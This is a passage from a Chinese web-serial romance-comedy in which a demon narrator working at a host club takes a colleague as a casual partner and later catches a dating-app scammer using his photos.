他看完这个,转头又?盯向?我用来记仇的笔记本,惊呼道:“壳都没了,你还?用啊?” 我顺手拿起笔记本记了个仇,冷笑一声,问:“你到底要干嘛。” “我只是在?想为什么你这么爱破烂。” 泉卓逸靠在?办公桌旁,唇环亮得刺眼,状似不在?意地说:“顺便来看看你呗,反正……反正我闲得无聊。” 他撩了下刘海,手指节堆满各种戒指,视线穿过胳膊朝我看来,我发现他似乎精心打扮过,脖子上还?围了条三?角巾。 到底天天在?得意什么?得意他的第十名位置吗? 我刻薄道:“没事就去学学怎么勾搭富婆,下个月扣完业绩,你连第十名都不是。” 泉卓逸顿住,放下手找我理论,说什么那不是他的错,是因为种种问题才导致的迟到。 “迟到但?是在?天台。”我恍然大悟,“原来你是跳伞来上班的。” “你爱信不信,反正我是迟到。” 他瘪了下嘴,视线扫过桌面,不经意道:“你换手机了?” “嗯。”我拿起手机,得意地展示,“最新款,想不到吧!” 这次他倒是不嘴硬了,饶有兴趣地评价道:“还?行,没想到你这个恋旧的也会换新的东西,还?以为你会一辈子拿着那个破手机呢。” “杯子旧的、笔记本旧的……你是不是有恋旧癖啊?” 好新奇的词,这年头穷人也能?去恋旧癖了! 但?仔细想想,他说得有道理。 作为一个不喜欢变化的恶魔,我总是安于?环境,不想去找新的机会,所以才会找跑友失败! 老牛也不能?吃老草啊! 思绪豁然开朗,我满怀感激地看向?泉卓逸,上手拍击他的肩膀,真?诚地说:“谢谢你啊,我想通了!” “咳咳、想通什么?”他皱着眉,但?也没躲,反而挺直脊背,斜睨着我,“想好把你的破烂丢了,换成新的?” 不行。 我全都要。 我要直接去酒吧猎艳,找个有健康报告的、有颜的、资金丰厚的男人。 至于?身边的老草,就让他们老着吧! 泉卓逸待在?办公室不走,非要赖在?,像是进入新世界似的,左右摸索,东一句西一句地评价,莫名其妙开始问我和宗朔的关系。 我哪能?让他得意,我可是老板亲自招进来的老板,是有关系的老板。 所以我添油加醋一番,把我和宗朔的见面美化成在?打游戏时,原本作为敌人,但?他拜倒我的技术下,和我惺惺相惜,主动来加我,要我带弟。 我不知道泉卓逸信没信,反正他的表情挺便秘的。 他晃荡了一圈,来到书架前,颇为瞻仰地、轻手轻脚地摸书的封皮。 “你看得懂吗?” “名字我还?是知道的。”他说,“虽然一本也没看过,但?是以前我在?我哥——” 他的声音戛然而止,含糊地掩盖过去,“在书房里看到过。” “反正就是文学、历史、金融那些书呗,也没啥好看的。” 虽然这么说,但?他轻手轻脚地把书放回原处,眼神久久游离在?书的脊背上,像是隔着玻璃看店里播放动画片的小孩。 我看不惯他的文盲做派,大手一挥,拉着他开始打游戏。 没一会儿,我们就在?办公室里吵了起来,起初,他的菜是惹人发笑的,后来,他的菜罪无可恕。 他嘴硬说还?没学会,但?手快又?吃了我几个小兵,还?非要挂在?我身上。 队友已经问候他的全家,泉卓逸一点也不忍,打游戏不行的手速在?键盘上重?新得到了施展,然后就被禁言了。 “该死、我还?没骂完,怎么把我封了,还?不封她??!” “她?用的语音。” “那我也要用语音。” “你已经被封了。” “草。” 我把他踢出组队,冷笑道:“别草了,我也不跟你玩。” 他脸上表情错愕一瞬,忍了忍,憋着气,“我只是现在?菜,以后多?练练肯定不会再这样。” 泉卓逸很不服输,非要拉我进组,于?是我干脆把他举报了,让他成功被封号。 “你——”泉卓逸眼睛闪烁着怒火,用手指着我。 一秒、两秒…… 他收回手,闷闷地低头看手机。 我沉迷打游戏,没搭理他,等连赢三?把,才心满意足地把头从手机屏幕前移开,不得不说,手机好了之后,我打游戏的技术都提升了。 泉卓逸还?靠在?办公桌边,专心致志地看着手机屏幕,过于?认真?,轻咬着唇环,眼睛距离屏幕大概只有两根食指那么远。 我凑过去看,他不知道从哪里搞了个号,重?新从零开始。 这次他的队友和他并肩作战,他的对手和他势均力敌。 技术稍有提升,但?在?法师贴脸放大招时暴露无疑。 一串惊天爆笑从我的嘴里蹦出,吓得他又?是一个哆嗦。 泉卓逸烦躁地抓头发,但?也没说什么,越战越勇,越战越败,表情逐渐沉重?,整个人像被笼罩在?阴云之下。 我饶有兴致地观察他的表情,觉得他像是行走的动画,一举一动都很搞笑。 永远不服,永远被打败。 真?好玩啊。 我俩在?办公室里打了一个下午的游戏,他终于?摸到了游戏的门?槛,买了个新号,说要晚上再练。 “你是不是忘记一件事了。”我说。 “你该上班。” 他满不在?乎地说:“又?不是不能?玩,我的排表很空。” 就在?他说出空这个字时,办公室的门?开了。 他的表情瞬间慌乱,掩饰着起身,假装刚进来不久,手忙脚乱离开办公室,离开最后一眼看向?我,指了下手机。 宗朔穿着宽松的卫衣,帽子松垮垮地戴在?头上,凌乱的碎发遮挡住脸,嘴角微微下撇,打了个困倦的哈欠,错身经过泉卓逸时,扯动唇角,不轻不淡地看了他一眼。 等人离开,宗朔拖开小桌子后的椅子,随意跨坐上去,双腿交叠着,手抵着胸膛,支着下巴,像是在?补觉一样,手机盖在?桌面上。 我打游戏时,他维持着这个姿势,我打完了,他打了个哈欠,懒洋洋地向?我看来。 “哟,好久不见。” 语气平常,但?总觉得哪里怪怪的。 我也学着他说:“哟。” “昨天才见过吧。” “客套话而已。” 他摸了下桌子,鼻尖轻轻嗅动,说:“是我的错觉吗,感觉空气中有股香味。” “什么香?”我也跟着闻,但?只闻到薄荷味,鼻腔里冰凉。 宗朔晃了下头,撇眼看我:“香水的气味。” 这个我知道。我很有自信地解开谜题:“泉卓逸的。” 我又?不喷,宗朔也不喷,就泉卓逸喜欢花里胡哨的香水味,把自己?喷得像个糖果罐。 “下次别把人带进办公室,我受不了其他的香味。”宗朔说道,拿起桌上的书扇风,驱赶空气中的香味。 他的确是个身上不带味道的人,只有肥皂的气息,像晾在?天台的上衣服。 “他自己?要闯进来的。” 我看向?他的手机,“你应该看到了吧。” 他有点无语:“我也不是时刻都在?看监控,那不就成变态了。” “好歹也是我的办公室啊。” 我:“现在?是我的了。” “行。” 宗朔也不反驳,懒散地点头,说:“你的办公室,我就是你的秘书。” 说完,他补充一句:“秘书建议不要别人进来。” 我摸着下巴作势思考:“我会慎重?考虑的。” 宗朔笑了下,转动椅子,忽然想到什么,问:“昨天你当什么谜语人呢,又?是拼叉叉砍一刀是吧。” 我抬起食指左右摇摆,认真?地说:“你已经失去机会了。” 我不要再吃老草了。 总之,我要去酒吧猎艳—— 作者有话说:很惭愧,原本打算写小说,但最后去看小说了……明天我一定要努力多更! 下一章正式搞到跑友,这章我先水为敬(跪下) 第30章 要去酒吧第一步中道崩殂。 因为身?份证。 我的身?份证一直在哥哥手里, 他说替我保管,只在高考的时候给过我一次,因为保管位置未知,我想?偷也?找不到地方偷。 我问他要, 他也?不说给不给, 只问我要去做什么。 我说我要去酒吧。真实目的没说, 因为他连自己当男公关都不敢告诉我,肯定也?不同意我去找跑友,所以委婉一点,只说去酒吧。 但我觉得如果让他帮我解决床上问题, 他也?不会拒绝。 栾明就是这么奇怪的一个人。 他听?完我的说法,停顿了片刻,像是反应不过来似的, 半晌后才慢半拍吐出两个字:“酒吧?” 我:“对啊,就像店里那种,不过没有男公关卖酒。” 哥哥正在叠衣服,握着衣袖没动, 慢吞吞地嗯了一声,出神地思考着什么。 我以为他同意了,凑到他旁边问:“身?份证在哪呢?我都工作了,也?该给我了吧。” “不。”他下?意识反驳, 说完后, 又将剩下?的话囫囵吞进肚子里, 盯着手里的衣服, 半天不说话,唇瓣抿紧,脸色逐渐苍白。 我以为他卡机了, 拍了拍他的肩膀。 他还是不动,眼?睛一眨也?不眨。 半晌后,他才像是从梦中惊醒般,黑沉的眼?眸中终于有了光,从喉咙里费劲地挤出一句:“……不行。” 我疑惑地问:“为什么?” 哥哥张了张嘴,苍白地说:“你还小不能去那种地方。” “我工作的地方就像酒吧啊。” 他:“……不一样。” “为什么不一样?” 按照网页搜索得到的,两个词汇解释似乎没有什么区别吧,都是喝酒消费,聚集各种来消遣的人类。 “小冬。” 哥哥看着我,眼?底流露出祈求,像是绷紧到快要裂开的弦,弯下?腰,握着我的双手,把额头贴上来。 我看不到他的表情,他的声音颤抖着:“别去那里可以吗?” 他这幅模样像是天要塌了似的,但我只是出去玩,不是一去不复返,上次也?是这样。 我发现无?论我说什么,他也?只是保持这个动作,试图让我屈服。 于是,我的计划再次破产。 作为一个破产破产再破产的恶魔,我本该习惯了破产,但这次我不能忍,做不了O和吃不到饭一样磨人,所以我再次和栾明开始冷战。 我冷冷地接受他的照顾,坚决不跟他说一个字,除非他把身?份证交出来! 但栾明比我更倔,他能坚持好久好久不讲话,热脸一直贴我的冷屁股,依旧自由地进出我的卧室,帮我洗袜子、叠衣服……搞得我实在有点没招了,想?着不如找个不要身?份证的酒吧。 我问朋友们知道哪里有酒吧不需要验证身?份证,结果她们一概不知,还以为我出了什么事,在知道我只是想?找跑友后,纷纷陷入沉默。 苏音仪劝我遵纪守法,不要想?一出一是一出。 我告诉她,找跑友是合法的。 她半天憋不出话,最后让我别去没有身?份证就能进的酒吧,那种地方多半只有歪瓜裂枣的小混混。 潘小谷问我为什么不找个男友。 我把之?前的想?法告诉她们,她很久没回话,憋出一句人要向前走,不要沉浸在过去,好的还能找。 她劝解半天,我也?没搞懂她什么意思。 最后还是卫菱提出个好建议,让我上网找,有专门的APP,不过需要严格筛选,很难找到干净的。 经?过激烈的讨论,我可悲地发现这个世界想?要月抛的处男少?得可怜! 身?体?的躁动依旧得不到缓解,我上班的火气也?来了,看谁都不顺眼?,每天逮着宗朔和泉卓逸折腾,前者借口睡觉逃了,后者每天准点来办公室接受我的折磨。 好几次,我差点把泉卓逸骂破防,但他异常倔强,像打不死的小强,昨天还恶狠狠地说再来就是狗,第二天照样来了。 我坐在办公室思考人生,寻思要不然还是吃老草吧,从哪里跌倒就从哪里爬起来,浦真天不行就去找别人。 [世界第一恶魔大人]:你是处男吗? 宗朔没有回我,我又发送消息,结果他像死了一样。 我自动忽略了消息前面的红色感?叹号,以及软件弹出的禁止涉黄警告,心想?宗朔不回答的意思就是他不是处男。 我略感?失望。 正巧这个时候,泉卓逸又来了,像往常一样做贼似的进入办公室,看到没人才直起腰,吊儿郎当地找个地坐下,支着下?巴让我上号。 我瞬间正襟危坐,认真地问:“你是处男吗?” “什么?”他难以置信地看向我,表情空白,嘴角抽了抽,“我是不是听?错了。” 我又问了一遍。 “你疯了?!” 泉卓逸反应激烈,像是遭受奇耻大辱般,绷着脸问:“你问这个干嘛?” 我摸着下?巴,说:“只是在做调查。” “……你别想?再耍我了,我不会告诉你。”他拧着眉,顶了下?腮帮,冷笑一声,狐疑地观察我的表情,有些迟疑不知道该说什么。 我忽然想?起件事,昨天柯觅山给我发消息,让我关照下?他,于是转变话题,问道:“先不说这个了,柯觅山让我问你什么时候回趟滏山,快到重要的日?子了。” 他没说什么是重要的日?子。 我问他的时候,他只是暧昧不清地回复:如果说出来的话,泉卓逸会不开心。 看着脸色骤然变得难看的泉卓逸,我心想?问不问好像都会不开心。 泉卓逸扯了下?唇,原本飞扬的神情消失个干净,他颇为冷漠地说:“告诉他,我不会回去的,这辈子都不会。” “让他们死心吧。” 他的眼?睛闪烁着光,人也?沉默了,打游戏的时候心不在焉,被?我骂也?不会回嘴,默默离开了。 我无?聊地玩手机,等到上班时间后,走出门,进行每日?的男公关观察活动。 在这些天的观察里,我也?认识了不少?男公关,最熟的是上次的下?颌线哥,他名叫荣小晓,也?是从农村里出来的,虽然等级不高,但知道很多八卦。 他自封为不欺骗顾客的、少?数有良心的男公关。 我来的时候,荣小晓正在座位见游荡,一看到我,立马凑了过来,狗腿地说:“大老板又来巡视了?” 大老板是我,宗朔是小老板。 我云淡风轻地点了点头,随意挥了下?手,“小荣啊,要好好工作知道吗?不要骄傲。” 他嘿嘿笑了下?,跟在我后面晃悠,对着形形色色的男公关啧啧有声。 我问他在啧什么,他说看熟人工作就想?笑,昨天刚遇到被?包养的,今天竟然还在服侍其他人。 “包养?” “对啊。”他藏不住兴奋,在我耳边津津有味地说,“就是前面那个,昨天我在商城里面遇到他,跟在一个女士屁股后面,别人还给他买包,看上去可快乐了。” “之?前我们这儿还没这个风气,但是最近被?包养的人越来越多了。” 宋小晓感?慨道:“大家都想?像郭苑一步登天。” 他之?前说过郭苑的事,大概就是一个有点姿色的男公关成功被?富婆包养,还是个特别有钱的富婆,甚至为了他和家里人闹离婚,要把他宠上天。 他像个偷了油的老鼠在我旁边笑,直到坐在位置上的男公关叫他,他才麻利地离开。 座位上男公关们长相不同,但目标一致,急切地想?要得到垂怜,赚取利益,绞尽脑汁施展魅力。 我在旁边看了会,想?着谁会是被?包养的那个,努力分辨被?包养和没被?包养的男公关的区别,但似乎每个人都一样。 等我看够了戏,慢悠悠地回到角落里的专属位置。 原本空荡荡的沙发上坐着个人,一只手臂搭在沙发背上,交叠着双腿,低头玩手机,蓝光照在脸上,像个溺死的艳鬼。 我抱着手臂上前,呵斥道:“泉卓逸,不工作你敢摸鱼。” “……只是在休息而已。” 他收回手机,脸上没什么表情,也?不像以前那样跳起来要反驳的激动,身?上的情绪平平,很无?趣。 我顿时失去兴趣,也?坐下?来,郁闷地想?怎么找跑友。 泉卓逸坐在我的右边表情晦暗,垂着头不知道在想?什么,半晌没说话,只是盯着手机,习惯性地轻咬唇环。 店里仍然是以前那个景象,形形色色的人,觥筹交错的欢呼声,香槟塔伴随着手拉炮彩片翻飞,流动的光像是海的底部,任由欲望翻滚。 肚子热热的,牙在发痒。 我撑着脸,叹了口气。 耳边突然响起艰涩的声音。 “我以前……” 泉卓逸冷不丁开口,侧着脸,表情晦涩不明,“我以前的这个日?子也?像现在一样,没有人陪伴,不管是在这还是在那边,都没有人在我身?边,所以回去的意义?是什么?” “说到底,他们在乎的不是我,只是面子上过得去而已,像我这种人死掉也?无?所谓,或许他们也?想?让我就死在外面算了。” 他自嘲地笑了一声,“说什么家庭?那只是他们的家而已。” 他的声音又轻又低,混杂在说话声和歌声中,我压根没听?清楚在说什么,脑子里仍然思考着跑友的事。 到底去哪里找呢……要是有天降跑友就好了。 “我走了之?后也?没有一个人来找我,只会给我打钱,难道我是那种很缺钱的人吗?他们不知道我到底想?要的是什么吗?不,他们根本就不在乎我,就算我死了,也?不会有人来给我收尸的……” 耳边絮絮叨叨的声音像是一串咒语,搅得我思考受阻,耳边嗡嗡嗡不停。 他停不下?来,心事决堤而出。 泉卓逸的声音越来越大,情绪越来越激动,引得我朝他看去。 察觉到我的视线,他也?看了过来,眼?底翻涌着复杂的情绪,有点可怜,像只落水狗。 我:“停。” 泉卓逸偏头看向我,眼?角泛红,情绪处于崩溃的边缘。 “你是处男吗?” “……” 泉卓逸别过脸,擦了下?眼?睛,胸口剧烈起伏。 他平复完心情,咬牙切齿:“你到底想?干嘛!” “我就想?知道是还是不是。” “……是。”他自暴自弃的捂住脸,全然没了装酷的模样,“你是想?羞辱我吗?处男当男公关怎么了?我因为我是处男,所以你要侮辱我吗?在这个时候了,你还想?着——” “当我的跑友吧。” 他愣住了,缓缓放下?双手,茫然地看着我,绿色的眼?底晃动着微弱的光。 我:“你哭起来的样子很好看。” 崩溃的表情让我兴趣大发,手痒牙痒肚子痒,怎么也?不舒服,只想?快点找个解决口。 他哽住了,像是被?砸晕似的,迷糊地说:“……现在?” “就现在。”我眼?看有望,猛地一拍手,喜出望外,反正还在和栾明冷战,我直接就不回去了,拉着泉卓逸往外走,胸口有团火在烧。 他的手心潮热,通过肌肤传来止不住加快的心跳声,我问他家的地址,他结结巴巴好半天才说清楚。 等抵达地址所在处,我才发现他住在酒店里。 进入房间后,箭在弦上,泉卓逸红着脖子,迫切地抱着我的腰,胡乱地、头昏脑涨地向我靠近,我扯开他的衣服,将他压在床上,泉卓逸眼?角红还没消散,视线黏在我的脸上,脸色潮红,像是喝醉酒似的,整个人体?温异常上升。 就在我即将下?手之?际,裤兜里的手机震动两下?。 我拿出手机看。 消息是浦真天发的。 自从那天之?后,他开始避着我,在家里总是愁眉苦脸,和栾明一个脸色,不过愁得比较明显,总是看我,半天不说为什么。 [浦真天]:小冬你在哪? [浦真天]:我想?我们之?间有点误会,前天那件事我想?了很久…… [浦真天]:在办公室门口,你在里面吗? 一只青筋腾起的手盖住屏幕。 我顺着赤裸的手臂往上看,对上绿色的眼?睛,里面装着近乎于狂乱的、迷乱的情绪。 “你说的。”泉卓逸紧盯着我,固执地说,“不准反悔。” 我放下?手机,按着他的头往下?—— 作者有话说:宗某人抢我的笔,原本定的就是拙,但是写着写着总往他身上飘,最终还是我胜利了(!) 还是感觉有点迅速,后面再打补丁吧,毕竟地雷男的脑子也是没人能理解的,再过几章会出现新人物,就是卖假货的那个(贱男) 浦是因为心有顾忌,他和哥哥太近了,后面才好上桌 某学哥只想整人,结果把人整上桌了《 》 30-40 第31章 身体接触是温暖的, 心跳混乱不堪,潮湿的舌头伸向深处,迫切地、渴望地啄饮水源,湿漉漉的吻从脖颈一直蔓延到小腹。 泉卓逸的的舌头很软, 但他很爱咬人?。 第二天起床的时候, 我的脖子上留下一长串的牙印和吻痕, 照镜子时明晃晃的,吓我一跳,还以为被某种吸血鬼攻击了。 我从洗漱间里出来,懒散地穿上衣服, 打开手机看?消息。 昨天晚上浦真天发?了不少消息,哥哥也打了很多个电话,我事?先给他发?了不会回去的消息, 但他还是坚持不懈地问我在哪里、什?么时候回去、要不要来接我。 泉卓逸头发?乱糟糟的,埋在被窝里,露出赤裸的胳膊,听到动静, 他才恍惚从梦中醒来,声音沙哑:“你要走了?” “晚上见。” 我对?他还算满意,神清气?爽地推开门,打了个车回家, 没等我敲门, 哥哥先开了门。 他一夜没睡, 眼下青黑, 嘴唇干燥起皮,看?到我时,干涩地喊我的名字:“小冬……” 他的视线落在我身上, 呼吸停顿,被我推了下才让开身位,客厅里还坐着浦真天,正抱着枕头犯瞌睡,听到动静率先转头,惊喜地说:“你回来了?昨天晚上——” 浦真天的声音逐渐减弱,直到消失。 “我困了。”我揉揉眼睛,“酒店的床还是没家里的舒服,我想睡个觉。” 我说完,回到卧室,埋在被子里睡了过去。 等再次醒来时,哥哥站在我的床边,表情难过地看?着我。 我以为是该去上班了,愁眉苦脸地问:“要走了吗?” 他摇头:“还有几个小时……” “小冬。” 哥哥莫名喊了我一声,直愣愣地盯着我看?,半晌后才说:“要洗澡吗?” 昨天晚上折腾完泉卓逸,我又让他服侍我洗澡,所以身上还蛮干净的,没有不舒服的地方。 我:“不用。” 哥哥脸色苍白,眼下黑眼圈愈发?浓重,他试图勾起唇角,但怎么也拉不起来,垂着眼睛,含糊不清、像是怕惊扰到我一样?小声:“那?个人?是谁。” “泉卓逸。” 他的呼吸急促,手扶着额头:“我……一定要是他吗?” 我从床上坐起来,伸个懒腰,拿起他放在旁边准备好的衣服,开始套裤子:“也不一定吧,不过现在是他。” 哥哥笑了一下:“我知道了。” 懂什?么了?他沉默地整理我睡得乱糟糟的被窝,收拾我换下的衣服。 浦真天在客厅里,我出去的时候他坐在沙发?上,不知道在想什?么,头发?又去染了一遍,变成纯正的黑色,最?近变长不少,微微遮挡住眉眼。 我:“你昨天要找我,是什?么事?啊?” “那?天晚上,你还记得吗?” 我想了想,问:“哪个?” 是指打电话、撞见他醉酒还是指在厕所亲他的事?? “……对?不起。” 他莫名向我道歉,勉强地笑了下,糊弄过去,“已经过去了,没什?么大事?。” 等到了店里,泉卓逸早早守在门口,看?到我立刻迎了上来,忍不住勾唇笑,心情很好地朝哥哥和浦真天打招呼。 哥哥没有说话,径直从他身边经过,浦真天同?样?如此,步伐仓促,错身而过时气?息不稳。 泉卓逸啧了下嘴,不甚在乎地来到我身边,压不住上扬的嘴角,双手插兜,“你怎么现在才来,我等你好久了。” 我有点无语:“不是给你发?了消息吗。” 消息从中午不停歇,我挑了几个回复,他倒是发?得更勤了,不停地问我在哪。 泉卓逸跟在我屁股后面?,像只哈巴狗似的,我走到哪里,他跟到哪里,打游戏的时候,他时不时发?出一声怪笑,队友骂他也不生气?,嘴角的弧度压不下去,时不时向我投来嗔怪的视线,格外?别扭。 因为宗朔的话,他从外?面?搬了个椅子坐在我旁边,上半身忍不住向我倾斜,肩膀抵着还不够,像是要滑进我的怀里。 正好操作失误,我把怒火发?泄到他身上,推搡他一把,“你有脊椎病啊?” 他才懒散地坐直,翘着二郎腿,不满地说:“我没有……跟你靠近点怎么了,难不成你嫌弃我。” 我斜眼看?他,让他自己领会我的眼神。 泉卓逸咳嗽一声,摸下后脖颈,视线往我的身上飘:“昨天晚上——你、咳,你觉得怎么样??” “一般吧。”我砸吧下嘴,继续低头玩游戏。 他的骨头尤其硬,睡觉的时候还总往人身上凑,后半部分体验尤其不好,像个骨架子黏在身上,怎么也推不开。 “你要求还挺高。” 泉卓逸哼哼两声,盯着手机屏幕操作,又撇了我几眼,像是不经意间说出似的,语气满不在乎:“除了我,你还有其他、其他这种朋友吗。” “……只有你。” 我吃新草失败了,啃老草颇为没面?,说出来感觉会被狠狠笑话。 我有点郁闷:“要不是拿不到身份证——” “别想了。”泉卓逸顶了下腮帮,咬着唇环,眉眼压低,裹挟着浓烈的不满,“除了我谁还愿意跪着给你舔,知足吧。” 他皱着眉十分不爽,想到什?么,补充道:“以后你要多少钱,跟我说,不要去找柯觅山,他把你当玩具,你感受不到吗。” “他表现得友善,实际上最?爱背后捅刀子。” 泉卓逸絮絮叨叨一堆柯觅山的坏话,翻来覆去大概就是小时候给家长告状,总是在他面?前装大好人?,结果最?后还出卖他。 我觉得是因为他太蠢,太好骗了。 泉卓逸今天异常地兴奋,说话不停歇,给我转了不少钱,非要送我情侣皮肤,坐下时不停地抖腿,脸颊上泛着红,还没喝酒就已经醉了,忍不住扣挠后脖颈,在房间里走来走去,兴致匆匆地说要把我桌上的所有便宜货都换掉。 但还没有实施,宗朔来了。 宗朔一来,他就该走。 离开前,他忍不住回头朝我喊:“今天……今天晚上还见吗?” 我敷衍地摆手:“再说吧。” 泉卓逸一步三?回头地走了。 房间里安静下来,宗朔坐下后,冷不丁冒出一句话:“你们在一起了?” “不是。”我直白地说,“只是跑友。” “……” “挺时尚。” 宗朔窸窸窣窣地动着,没说话,似乎怎么坐也不舒服,在位置上翻来覆去。 “你认真的?和泉卓逸?” 他拧着眉,耷拉着眼睛睁开,笑不出来,语气?却是带笑的、讽刺的。 “他长得好看?啊。” 除了笨点,好像也没哪里不好。 宗朔开始抽烟,垂着头把烟咬在嘴里,意味不明地说:“要我说,你品味挺差的,注意点别玩脱了,他可不是个好摆脱的角色。” 他吐出烟雾,视线睨向我:“他有病。” 我睁大眼睛,惊讶道:“真有脊椎病啊?” 宗朔的视线像滑溜的鱼,当我看?向他时,就立马溜走了,他看?向我的手机,哼笑一声,夹着烟放进嘴里,眯起眼睛。 他含着烟,含糊不清地说:“……是精神病,跟他爸一样?。” “你好像很了解他。” 泉卓逸也一副和他很熟的样?子,像是有什?么不可告人?的秘密,我立刻开始八卦,凑到他旁边:“还有什?么故事?。” “A市的有钱人?就那?么多,很难不认识啊。” 宗朔抽了口烟,略显烦躁地将烟按灭,嘀咕了一句难抽,挥挥手说:“反正你注意点吧,我可管不住他。” 看?来没瓜,我重新埋头看?手机,新开一把游戏,分神回复道:“我也不需要管他吧,只是跑友而已。” 宗朔哼笑一声。 他慢悠悠地说:“你倒是会享受,渣得明明白白。” 宗朔犯了烟瘾,不停地抽烟,我让他滚出去抽,他骂我一句,灰溜溜地走了。 解决完身体需求,我再次没有问题困扰,总觉得很无聊,观察男公关?生活的间隙里,柯觅山发?来问候消息,问东问西,莫名奇妙给我推荐文学?名著,说自己最?近在看?。 笑话,我是看?书的人?吗?! 我随便回复个嗯嗯,顺手把他设成了免打扰。 泉卓逸在不久前,因为太吵也被我关?了静音。 我看?着十分安静的手机,想了想,点开应用商城下载月抛软件。 反正也是无聊,不如看?看?到底有多神奇。 打开[摸摸],注册新用户。 名字还是[世界第一恶魔大人?]。 很好,让我看?看?到底是个什?么机制。 自动匹配距离较近的用户,可以查看?对?方的首页,如果感兴趣就右滑,不感兴趣就左滑下一位。 我点击匹配,第一个就看?到了店里的男公关?,因为背景就是店里,所以一眼认出来了,我撇眼斜前方,正在充当氛围组的男人?,对?比了下图片,发?现他挺会p图。 左滑,丑男。 左滑,丑男。 …… 在滑了五分钟后。 我停下来了。 终于有一张正面?的、看?上去毫无P图痕迹的帅哥照。 背景山谷绿地,笑起来阳光灿烂,穿着球队服,头发?剪得短短的,甚至有那?么点黑的男生,看?上去像个崭新出炉的男大学?生,健康富有活力。 但有点怪怪的。 我琢磨着,努力捕捉奇怪的地方。 狗屎的,这?不是泉卓逸吗?! 没了唇钉、眉钉、故意板着脸装帅的泉卓逸就长这?样?。 发?现他在线,我怒而右滑。 [世界第一恶魔大人?]:你敢冒充处男?!赔我心理损失费! 对?面?的消息瞬间弹了回来,像是提前设置好的。 [忧郁185帅哥(不卡颜)]:公主们集合啦(可爱)想认识更多高颜值帅哥的的在这?里集合啦(蝴蝶)谈不上没有关?系就当交个朋友(鼓掌)可以想积累人?脉扩大自己的圈子感受一下被加爆的感觉(加油) [忧郁185帅哥(不卡颜)]:天气?在变,责任不变,四季在变,服务不变,时代在变,品质不变,不管世界怎么变,我对?你的真心不变! [忧郁185帅哥(不卡颜)]:加v200,陪聊1000,视频8000,玩真心的来 只有最?后一句是真的吧!泉卓逸智商不高竟然复制两句就想拉客! 难道是我低估了他的工作热情吗? 就在我狐疑的时候,对?面?弹开新的消息。 [忧郁185帅哥(不卡颜)]:认识? [世界第一恶魔]:泉卓逸你别装了,你到底是不是处男? [忧郁185帅哥(不卡颜)]:姐姐,昨天晚上伺候你舒服吗?不舒服的话,我会哭哦,呜呜呜呜,不要打我啊,虽然我的身体不干净了,但是我对?你的心还在啊呜呜呜呜呜,对?了,能给我打200块钱吗?我没有车费了T.T 我看?到要钱立马反应过来,这?不是本人?。 不过……很有意思?啊。 [世界第一恶魔大人?]:你果然不是处男,昨天晚上你自己说的,不是处男就赔偿10万 [忧郁185帅哥(不卡颜)]:可是姐姐,我现在身上一分钱也没有诶,要不然你先给我200,等我打车回去,拿到银行卡就给你转账,对?不起,我已经脏了T.T [世界第一恶魔大人?]:(网贷链接) [世界第一恶魔大人?]:实在没钱,可以借钱还我 [忧郁185帅哥(不卡颜)]:…… [忧郁185帅哥(不卡颜)]:其实我是处男 [忧郁185帅哥(不卡颜)]:要加v验证下吗?泉卓逸可没我这?么好哦(可爱微笑)(可爱微笑) [忧郁185帅哥(不卡颜)]:(二维码) 我冷笑一声,转头把他举报了,居然想用二维码电信诈骗—— 作者有话说:我倒下了,需要营养液才能站起来(谁来v我营养液) 读者们啊,我也只是个小作者啊,好脆弱的作者……呜呜呜呜 第32章 刷了?半天, [摸摸]上似乎只有丑男。 附近的男公关刷出不少,我挨个?提醒他们认真工作,虽然是?在线上宣传,但现实?里专注才能留住客人?啊。 至于泉卓逸莫名被人?注册月抛账号的事, 我截图转告了?他。 他简直暴跳如雷, 说要?找出到底是?谁在侮辱他的清白, 情绪极其激动,像是?遭受莫大的耻辱,强烈要?求我跟着他一起举报账号。 经过他的不懈努力,号终于封了?。 有了?[摸摸]的这一遭, 我开始在店里溜达,督促着每个?男公关认真工作,虽然大部分我都?不记住名字, 但我可以叫他们的网名,他们露出尴尬的表情,十分愧疚地接受我的忠告,表示再也不用月抛软件拉客了?。 一楼看了?遍, 我跑上二楼。 二楼的装修比起一楼高级不少,私人?包厢很好地保护了?客人?们的隐私,看上去正经不少。 我问过宗朔为什么不把一楼也设成包厢。 他说大部分人?更喜欢热闹的氛围,被人?看到反而会更自?在些。 大概被包围着反而更安心。 除了?包厢, 二楼还设置有专门的休息区和储藏饮品的柜台, 经常有D级男公关经过, 端着酒水或摆放香槟塔的支架。 比起楼下偶尔开一瓶的程度, 楼上称得上持续不断、连绵不绝。 我也想跟进去看看,但他们溜得很快,开条门缝滑进去, 动作灵巧隐蔽,偶尔泄出一丝光影。 每个?房间似乎有不同的主题,光的颜色也不一样,在装修的时候费了?许多心思,听宗朔所言,这间店的装修是?其他合伙人?找了?几个?设计师,精挑细选得出的方案。 虽然这家店是?很多人?合资的,但除了?宗朔,我没看到其他的人?。 担心有人?来抢钱,我问那些人?呢,他让我别操心,那些人?不屑于来这,他们投资的东西很多,只看报表,懒得线下跑一趟。 我更不能理解有钱人?的想法,为什么精心设计,完工后又不来了?? 宗朔却习以为常,三分钟热度说散就散,他们丢掉的东西多了?去了?。 至于他们能分多少这件事,宗朔没说。 我在二楼晃了?一圈,来到休息区坐下,偶尔经过几个?男公关跟我打招呼,比起一楼的热闹来说,二楼安静太多,跟图书馆似的。 我换了?个?地玩手机,终于有闲心点开被屏蔽的聊天界面。 泉卓逸愤怒地发了?一堆痛骂无?良盗图狗的话,在上班后陷入沉静,他是?个?上班不会玩手机的人?,和宗朔那种?老油条不一样。 而柯觅山,在我回复嗯嗯后,就不发消息了?。 只要?察觉到我的敷衍,他立马变回高贵冷艳的模样,我不主动发消息,他也不会回我。 他之前热衷于问我的行踪,旁敲侧击几次,问我到底在哪里工作,但介于泉卓逸一直在我耳边闹不准告诉他任何关于[极乐世界]的事,最后什么也没捞到。 我猜测他是?好奇泉卓逸在哪里工作,想来线下来羞辱他。 他为什么这么讨厌泉卓逸? 我思来想去,开始上网搜索起泉卓逸的名字,结果什么也没有,倒是?出现个?卓逸农场,养猪养鸭什么都?养。 相?反的,柯觅山很有名,一搜全是?他的骄傲履历,理科状元、留学?名校、荣誉毕业、家大业大……总之金光闪闪,前途可期。 泉卓逸认识他,所以也应该很有钱,但为什么搜不到? 我想不出所以然,索性继续刷短剧,试图从打脸剧情中找到一丝灵感。 屏幕里的人?气势汹汹地扇了?主角一巴掌,大骂道就你个?私生子也敢跟我抢。 难不成他是?私生子……? 我正思考着,耳边传来一阵脚步声。 